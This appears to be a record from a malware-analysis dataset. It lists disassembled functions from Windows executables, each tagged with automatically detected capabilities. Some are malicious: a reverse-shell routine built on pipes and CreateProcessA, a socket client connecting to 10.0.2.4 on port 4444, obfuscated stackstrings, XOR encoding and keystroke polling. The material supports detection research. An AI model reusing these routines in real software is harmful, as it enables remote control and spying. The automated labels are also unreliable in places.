joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub esp, 0x1c
xor eax, eax
cmp word [0x400000], 0x5a4d
mov dword [0x406058], 1
mov dword [0x406054], 1
mov dword [0x406050], 1
jne 0x401056
mov edx, dword [0x40003c]
cmp dword [edx + 0x400000], 0x4550
lea ecx, [edx + 0x400000]
je 0x4010b0
mov dword [0x40600c], eax
mov eax, dword [0x406064]
test eax, eax
je 0x4010a0
mov dword [esp], 2
call sym.___set_app_type
call sym.___p__fmode
mov edx, dword [0x406078]
mov dword [eax], edx
call sym.___p__commode
mov edx, dword [0x406060]
mov dword [eax], edx
call dbg._setargv
cmp dword [0x403014], 1
je 0x4010e0
xor eax, eax
add esp, 0x1c
ret
mov dword [esp], 1
call sym.___set_app_type
jmp 0x401070
movzx edx, word [ecx + 0x18]
cmp dx, 0x10b
je 0x4010f8
cmp dx, 0x20b
jne 0x401056
cmp dword [ecx + 0x84], 0xe
jbe 0x401056
mov edx, dword [ecx + 0xf8]
xor eax, eax
test edx, edx
setne al
jmp 0x401056
mov dword [esp], dbg._matherr
call dbg.__mingw_setusermatherr
xor eax, eax
add esp, 0x1c
ret
cmp dword [ecx + 0x74], 0xe
jbe 0x401056
mov ecx, dword [ecx + 0xe8]
xor eax, eax
test ecx, ecx
setne al
jmp 0x401056

Function at 0x401633
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push edi
push ebx
mov eax, 0x1e00
call fcn.00402b80
sub esp, eax
mov dword [ebp - 0x1ded], 0x58735555
mov dword [ebp - 0x1de9], 0x706a695a
mov dword [ebp - 0x1de5], 0x63594356
mov dword [ebp - 0x1de1], 0x4b6f4755
mov dword [ebp - 0x1ddd], 0x7870514f
mov dword [ebp - 0x1dd9], 0x666f6d62
mov dword [ebp - 0x1dd5], 0x6671504f
mov dword [ebp - 0x1dd1], 0x57477a67
mov dword [ebp - 0x1dcd], 0x7a72544c
mov dword [ebp - 0x1dc9], 0x43525772
mov dword [ebp - 0x1dc5], 0x46645a6c
mov dword [ebp - 0x1dc1], 0x6e526a42
mov dword [ebp - 0x1dbd], 0x6254
lea eax, [ebp - 0x1db9]
mov ecx, 0x1dad
mov ebx, 0
mov dword [eax], ebx
mov dword [eax + ecx - 4], ebx
lea edx, [eax + 4]
and edx, 0xfffffffc
sub eax, edx
add ecx, eax
and ecx, 0xfffffffc
shr ecx, 2
mov edi, edx
mov eax, ebx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x1ded]
mov dword [esp], eax
call sym._strupr
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._strlwr
add esp, 0x1e00
pop ebx
pop edi
pop ebp
ret

Function at 0x401832
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 0x14], 0
mov dword [ebp - 0xc], 0
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
jmp 0x401897
mov eax, dword [ebp + 0x10]
sub eax, dword [ebp - 0xc]
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.WSOCK32.DLL_recv]
call eax
sub esp, 0x10
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
add dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x14]
add dword [ebp - 0xc], eax
cmp dword [ebp - 0x14], 0xffffffff
jne 0x401897
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._rsrzUevwwqO
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 0x10]
jl 0x40184e
mov eax, dword [ebp - 0xc]
leave
ret
Function at 0x4018ce
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 2
mov eax, dword [sym.imp.WSOCK32.DLL_socket]
call eax
sub esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x401909
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._rsrzUevwwqO
mov dword [esp], str.10.0.2.4
mov eax, dword [sym.imp.WSOCK32.DLL_gethostbyname]
call eax
sub esp, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x40192e
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._rsrzUevwwqO
mov eax, dword [ebp - 0x10]
movzx eax, word [eax + 0xa]
movsx edx, ax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
lea eax, [ebp - 0x20]
add eax, 4
mov dword [esp], eax
call sym._memcpy
mov word [ebp - 0x20], 2
mov dword [esp], 0x115c
mov eax, dword [sym.imp.WSOCK32.DLL_htons]
call eax
sub esp, 4
mov word [ebp - 0x1e], ax
mov dword [esp + 8], 0x10
lea eax, [ebp - 0x20]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WSOCK32.DLL_connect]
call eax
sub esp, 0xc
test eax, eax
je 0x40199f
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._rsrzUevwwqO
mov eax, dword [ebp - 0xc]
leave
ret
Function at 0x401e50
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call dbg.__acrt_iob_func
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov dword [esp], 2
call dbg.__acrt_iob_func
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x401eb0
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x40606c]
test esi, esi
jle 0x401fd0
mov eax, dword [0x406070]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp ebx, edx
jb 0x401ee4
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x401f67
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x401ed0
mov dword [esp], ebx
call dbg.__mingw_GetSectionForAddress
mov edi, eax
test eax, eax
je 0x401ff7
mov eax, dword [0x406070]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call dbg._GetPEImageBase
mov edx, dword [0x406070]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x401fd7
mov eax, dword [esp + 0x28]
lea edx, [eax - 4]
and edx, 0xfffffffb
je 0x401f60
lea edx, [eax - 0x40]
and edx, 0xffffffbf
jne 0x401f70
add dword [0x40606c], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 4
mov eax, 0x40
mov ecx, dword [esp + 0x20]
cmove eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x406070]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x401f60
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call dbg.__report_error
lea esi, cs:[esi]
nop
xor esi, esi
jmp 0x401eee
mov eax, dword [0x406070]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call dbg.__report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call dbg.__report_error
lea esi, cs:[esi]
nop
Function at 0x402520
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x406088
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x406080]
sub esp, 4
test ebx, ebx
je 0x402575
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
mov esi, eax
sub esp, 4
call edi
test esi, esi
je 0x40256e
test eax, eax
jne 0x40256e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402550
mov dword [esp], 0x406088
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x4028b0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x4028d5
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x4028e0
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x4028d5
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test si, si
je 0x402928
xor ecx, ecx
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x40291e
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x40292a
add ecx, 1
add eax, 0x28
cmp esi, ecx
jne 0x402910
xor eax, eax
pop ebx
pop esi
ret
Function at 0x407010
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40704e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407046
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x407050
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407036
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407120
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x407151
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x407151
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x407151
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x43b648
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x43b3c1
add ebx, ebx
call fcn.0043b674
dec ebx
xor dword [edx], eax
dec edi
inc edx
inc ebx
cmp edx, ecx
jne fcn.0043b648
add edi, ebx
dec ebx
inc ebx
ret
Function at 0x404220
Capabilities:
Get common file path
Get disk information
Get hostname
Manipulate console buffer
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x14c4
call fcn.0040b120
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov edx, dword [0x481598]
push ebx
mov ebx, dword [eax + 4]
mov eax, dword [0x48159c]
push esi
mov dword [ebp - 0x18], eax
push edi
lea eax, [ebp - 0xc]
mov dword [ebp - 8], ecx
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x1c], edx
call fcn.00404210
mov edi, dword [ebp - 0xc]
mov ecx, dword [0x4815a0]
mov edx, dword [0x4815a4]
add edi, 0x23f
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x10], 0x20
lea ecx, [ecx]
mov dword [ebp - 0xc], 2
add dword [ebp - 0xc], 3
mov esi, dword [ebp - 8]
mov eax, dword [0x488d1c]
shl esi, 4
add esi, dword [ebp - 0x24]
cmp eax, 0xfa9
jne 0x4042ac
mov dword [0x488d18], 0xedeb2e40
jmp 0x4042c7
cmp eax, 0x3eb
jne 0x4042c7
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov dword [0x4887a8], 0
mov eax, dword [ebp - 8]
lea ecx, [edi + eax]
mov eax, dword [ebp - 8]
shr eax, 5
mov dword [ebp - 4], eax
mov edx, dword [ebp - 0x20]
add dword [ebp - 4], edx
xor esi, ecx
cmp dword [0x488d1c], 0x9e6
mov dword [0x488d14], 0xf4ea3dee
jne 0x404300
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommConfig]
xor dword [ebp - 4], esi
cmp dword [0x488d1c], 0x213
jne 0x4043ac
push 0
lea eax, [ebp - 0x4c4]
push eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrencyFormatA]
lea ecx, [ebp - 0xcc4]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
lea edx, [ebp - 0x30]
push edx
lea eax, [ebp - 0x14c4]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0
call dword [sym.imp.KERNEL32.dll_ClearCommBreak]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
lea ecx, [ebp - 0x8c4]
push ecx
push 0
push 0x403f08
push 0x403f54
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
lea edx, [ebp - 0x28]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
lea eax, [ebp - 0xc4]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
push 0
lea ecx, [ebp - 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
sub ebx, dword [ebp - 4]
cmp dword [0x488d1c], 0xc
jne 0x4043c0
push 0
call dword [sym.imp.KERNEL32.dll_GlobalWire]
mov edx, ebx
shr edx, 5
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x18]
add dword [ebp - 4], eax
mov eax, ebx
shl eax, 4
add eax, dword [ebp - 0x1c]
lea ecx, [edi + ebx]
xor eax, ecx
xor eax, dword [ebp - 4]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
sub dword [ebp - 8], eax
add edi, 0x61c88647
sub dword [ebp - 0x10], 1
jne 0x404280
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 8]
pop edi
pop esi
mov dword [eax + 4], ebx
mov dword [eax], edx
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x404410
Capabilities:
Connect pipe
Create process on windows
Create reverse shell
Get thread local storage value
Read pipe
Set environment variable
Write pipe

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1808
call fcn.0040b120
mov eax, dword [0x488d1c]
mov ecx, dword [0x4887ac]
shr eax, 3
test eax, eax
jbe 0x404530
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrencyFormatA]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
mov dword [ebp - 4], ecx
mov dword [ebp - 8], eax
mov edi, edi
cmp dword [0x488d1c], 0x959
jne 0x404516
push 0
lea eax, [ebp - 0x408]
push eax
push 0
push 0
push 0
push 0
call esi
push 0
push 0
push 0
call edi
push 0
lea ecx, [ebp - 0xc08]
push ecx
call ebx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CallNamedPipeA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileShortNameA]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetTimeFormatW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
lea edx, [ebp - 0x1008]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetTimeFormatA]
push 0
lea eax, [ebp - 0x1808]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ecx, dword [ebp - 4]
push ecx
call fcn.00404220
add dword [ebp - 4], 8
sub dword [ebp - 8], 1
jne 0x404450
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x407ed0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4807a8]
jne 0x407eda
repz ret
jmp fcn.0040d05e

Function at 0x40cc85
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040916b
and dword [ebp - 4], 0
cmp dword [0x486798], 0
mov ebx, eax
jne 0x40cd36
push 0x401cb4
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40cde7
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x401ca8
push edi
call esi
test eax, eax
je 0x40cde7
push eax
call fcn.004090f9
mov dword [esp], 0x401c98
push edi
mov dword [0x486798], eax
call esi
push eax
call fcn.004090f9
mov dword [esp], 0x401c84
push edi
mov dword [0x48679c], eax
call esi
push eax
call fcn.004090f9
mov dword [esp], 0x401c68
push edi
mov dword [0x4867a0], eax
call esi
push eax
call fcn.004090f9
pop ecx
mov dword [0x4867a8], eax
test eax, eax
je 0x40cd36
push 0x401c50
push edi
call esi
push eax
call fcn.004090f9
pop ecx
mov dword [0x4867a4], eax
mov eax, dword [0x4867a4]
cmp eax, ebx
je 0x40cd8e
cmp dword [0x4867a8], ebx
je 0x40cd8e
push eax
call fcn.00409174
push dword [0x4867a8]
mov esi, eax
call fcn.00409174
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40cd8e
test edi, edi
je 0x40cd8e
call esi
test eax, eax
je 0x40cd85
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40cd85
test byte [ebp - 0xc], 1
jne 0x40cd8e
or dword [ebp + 0x10], 0x200000
jmp 0x40cdc7
mov eax, dword [0x48679c]
cmp eax, ebx
je 0x40cdc7
push eax
call fcn.00409174
pop ecx
test eax, eax
je 0x40cdc7
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40cdc7
mov eax, dword [0x4867a0]
cmp eax, ebx
je 0x40cdc7
push eax
call fcn.00409174
pop ecx
test eax, eax
je 0x40cdc7
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x486798]
call fcn.00409174
pop ecx
test eax, eax
je 0x40cde7
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40cde9
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x412fd6
Capabilities:
Encode data using base64

Disassembly:
push 0x18
mov eax, 0x481bb8
call fcn.0045d37f
mov dword [ebp - 0x14], edx
mov ebx, ecx
mov dword [ebp - 0x24], ebx
mov eax, dword [ebp + 8]
xor edx, edx
push 3
pop ecx
and dword [ebp - 0x18], 0
mov edi, ebx
lea eax, [eax + 2]
div ecx
mov cl, byte [ebp + 0xc]
mov esi, eax
push 0x3d
pop edx
shl esi, 2
test cl, cl
push 0x2e
movzx ecx, cl
pop eax
cmovne edx, eax
mov byte [ebp + 0xc], dl
mov eax, dword [ecx*4 + 0x49bf08]
mov dword [ebp - 0x1c], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov dword [ebx + 0x10], eax
mov dword [ebx + 0x14], 0xf
mov byte [ebx], al
xor edi, edi
mov dword [ebp - 4], eax
inc edi
mov ecx, ebx
push esi
mov dword [ebp - 0x10], edi
mov dword [ebp - 0x18], edi
call fcn.00413172
mov ecx, dword [ebp + 8]
test ecx, ecx
je 0x413123
mov edx, dword [ebp - 0x14]
lea eax, [ecx - 1]
sub edi, edx
push 3
pop ecx
lea esi, [edx + 1]
mov dword [ebp - 0x20], edi
xor edx, edx
mov edi, dword [ebp - 0x1c]
div ecx
inc eax
mov dword [ebp - 0x14], eax
movzx eax, byte [esi - 1]
mov ecx, ebx
shr eax, 2
movzx eax, byte [eax + edi]
push eax
call fcn.004131d7
mov eax, dword [ebp + 8]
mov cl, byte [esi - 1]
push 3
cmp dword [ebp - 0x10], eax
jae 0x4130e9
movzx ecx, cl
pop eax
and ecx, eax
movzx eax, byte [esi]
shl ecx, 4
add ecx, edi
shr eax, 4
movzx eax, byte [eax + ecx]
mov ecx, ebx
push eax
call fcn.004131d7
movzx ecx, byte [esi]
mov eax, dword [ebp - 0x20]
and ecx, 0xf
add eax, esi
shl ecx, 2
cmp eax, dword [ebp + 8]
jae 0x4130e2
movzx eax, byte [esi + 1]
shr eax, 6
add eax, ecx
mov ecx, ebx
movzx eax, byte [eax + edi]
push eax
call fcn.004131d7
movzx eax, byte [esi + 1]
and eax, 0x3f
movzx eax, byte [eax + edi]
push eax
jmp 0x41310a
movzx eax, byte [ecx + edi]
push eax
jmp 0x413100
movzx eax, cl
pop ecx
and eax, ecx
mov ecx, ebx
add eax, eax
movzx eax, byte [edi + eax*8]
push eax
call fcn.004131d7
push dword [ebp + 0xc]
mov ecx, ebx
call fcn.004131d7
push dword [ebp + 0xc]
mov ecx, ebx
call fcn.004131d7
push 3
pop eax
add dword [ebp - 0x10], eax
add esi, eax
sub dword [ebp - 0x14], 1
jne 0x41306f
mov eax, ebx
call fcn.0045d35c
ret

Function at 0x4137af
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp dword [ebp + 0xc], 0
xorps xmm0, xmm0
push ebx
push esi
push edi
mov ebx, ecx
movlpd qword [ebp - 8], xmm0
jb 0x4137fe
ja 0x4137d0
cmp dword [ebp + 8], 0
jbe 0x4137fe
mov edi, dword [ebp - 4]
mov esi, dword [ebp - 8]
mov eax, dword [ebp + 0x10]
mov ecx, esi
mov edx, dword [ebp + 0x14]
and ecx, 7
shl ecx, 3
call fcn.0045d010
xor byte [esi + ebx], al
add esi, 1
adc edi, 0
cmp edi, dword [ebp + 0xc]
jb 0x4137d6
ja 0x4137fe
cmp esi, dword [ebp + 8]
jb 0x4137d6
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4148a5
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push ecx
mov edx, dword [ebp + 8]
push esi
push edi
push 4
mov esi, ecx
not edx
pop edi
movzx eax, byte [esi]
movzx ecx, dl
xor ecx, eax
shr edx, 8
xor edx, dword [ecx*4 + 0x49c030]
inc esi
sub edi, 1
jne 0x4148b5
pop edi
not edx
pop esi
mov eax, edx
leave
ret

Function at 0x4148d5
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, edx
not ebx
mov esi, ecx
mov edx, ebx
test edi, edi
je 0x414939
mov al, byte [esi]
dec edi
inc esi
cmp al, 0x23
jne 0x414901
cmp edi, 2
jb 0x414901
cmp byte [esi], al
jne 0x414901
cmp byte [esi + 1], al
cmove edx, ebx
movzx ecx, dl
movzx eax, al
xor ecx, eax
shr edx, 8
xor edx, dword [ecx*4 + 0x49c030]
test edi, edi
jne 0x4148ea
jmp 0x414940
cmp al, 0x23
jne 0x414927
cmp byte [esi], al
jne 0x414927
cmp byte [esi + 1], al
cmove edx, ebx
movzx ecx, dl
movzx eax, al
xor ecx, eax
shr edx, 8
xor edx, dword [ecx*4 + 0x49c030]
mov al, byte [esi]
inc esi
test al, al
jne 0x414919
pop edi
not edx
pop esi
mov eax, edx
pop ebx
pop ebp
ret

Function at 0x414a4d
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
test edi, edi
je 0x414a5d
and dword [edi], 0
mov edx, 0x4b3b64
call fcn.00414949
mov esi, eax
test esi, esi
je 0x414ac3
mov ecx, esi
call fcn.004149f4
mov ebx, eax
cmp ebx, 0xffffffff
je 0x414abc
mov ecx, ebx
call fcn.004163c9
mov dword [ebp + 8], eax
test eax, eax
je 0x414abc
push esi
push ebx
push 1
push eax
call fcn.00464ece
add esp, 0x10
push esi
cmp eax, ebx
je 0x414aab
call fcn.00462977
pop ecx
mov ecx, dword [ebp + 8]
call fcn.004163e0
jmp 0x414ac3
call fcn.00462977
pop ecx
test edi, edi
je 0x414ab7
mov dword [edi], ebx
mov eax, dword [ebp + 8]
jmp 0x414ac5
push esi
call fcn.00462977
pop ecx
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x42028f
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [0x4cb690]
push edi
cmp byte [esi + 0x2dc8], 0
je 0x420304
cmp dword [esi + 0x2dd0], 0
lea edi, [esi + 0x2dd4]
mov ecx, edi
je 0x4202f8
push 0
call fcn.0042126f
lea eax, [ebp + 0xc]
mov ecx, edi
push eax
push dword [ebp + 8]
call fcn.00414f83
mov edx, dword [edi]
mov ecx, 0x4cb68c
push dword [esi + 0x2dd0]
lea eax, [edx - 1]
neg edx
sbb edx, edx
and edx, eax
mov eax, dword [esi + 0x2ddc]
test eax, eax
push edx
cmovne ecx, eax
push 1
push ecx
call fcn.004634cc
add esp, 0x10
jmp 0x420304
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 8]
call fcn.00414f83
pop edi
pop esi
pop ebp
ret

Function at 0x4207f9
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x4cb690]
push esi
mov esi, ecx
push edi
and dword [eax + 0x2da0], 0
test esi, esi
je 0x420846
and dword [ebp - 4], 0
lea ecx, [ebp - 4]
call fcn.0042084a
mov edx, 0x4b3b68
mov ecx, esi
mov edi, eax
call fcn.00414949
mov esi, eax
test esi, esi
je 0x420846
push esi
push dword [ebp - 4]
push 1
push edi
call fcn.004634cc
push esi
call fcn.00462977
add esp, 0x14
pop edi
pop esi
leave
ret
Function at 0x42cc16
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4c9180]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [0x4cb690]
lea eax, [ebp - 0x20]
push esi
push edi
push eax
push dword [0x4ce6e4]
call dword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x20]
movd xmm1, eax
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0x1c]
cvtdq2ps xmm1, xmm1
movd xmm0, eax
lea eax, [ebp - 0x10]
cvtdq2ps xmm0, xmm0
push eax
movss dword [ebx + 0x10], xmm1
movss dword [ebx + 0x14], xmm0
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov edi, dword [ebp - 0x10]
mov ecx, edi
sub ecx, dword [0x4ce6e8]
mov esi, dword [ebp - 0xc]
mov edx, esi
sbb edx, dword [0x4ce6ec]
call fcn.0045ce90
mov edx, dword [0x4ce6f4]
mov ecx, dword [0x4ce6f0]
cvtsd2ss xmm0, xmm0
movss dword [ebp - 0x24], xmm0
call fcn.0045ce90
movss xmm1, dword [ebp - 0x24]
cvtsd2ss xmm0, xmm0
push 0x11
divss xmm1, xmm0
movss dword [ebx + 0x18], xmm1
mov dword [0x4ce6ec], esi
mov esi, dword [sym.imp.USER32.dll_GetKeyState]
mov dword [0x4ce6e8], edi
call esi
shr eax, 0xf
and al, 1
push 0x10
mov byte [ebx + 0x100], al
call esi
shr eax, 0xf
and al, 1
push 0x12
mov byte [ebx + 0x101], al
call esi
shr eax, 0xf
and al, 1
mov byte [ebx + 0x103], 0
mov byte [ebx + 0x102], al
call fcn.0042cb49
cmp byte [ebx + 0xb0], 0
je 0x42cd0d
or eax, 0xffffffff
jmp 0x42cd18
mov eax, dword [0x4cb690]
mov eax, dword [eax + 0x1d94]
cmp dword [0x4c9c70], eax
je 0x42cd2a
mov dword [0x4c9c70], eax
call fcn.0042caa5
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0045c1f5
leave
ret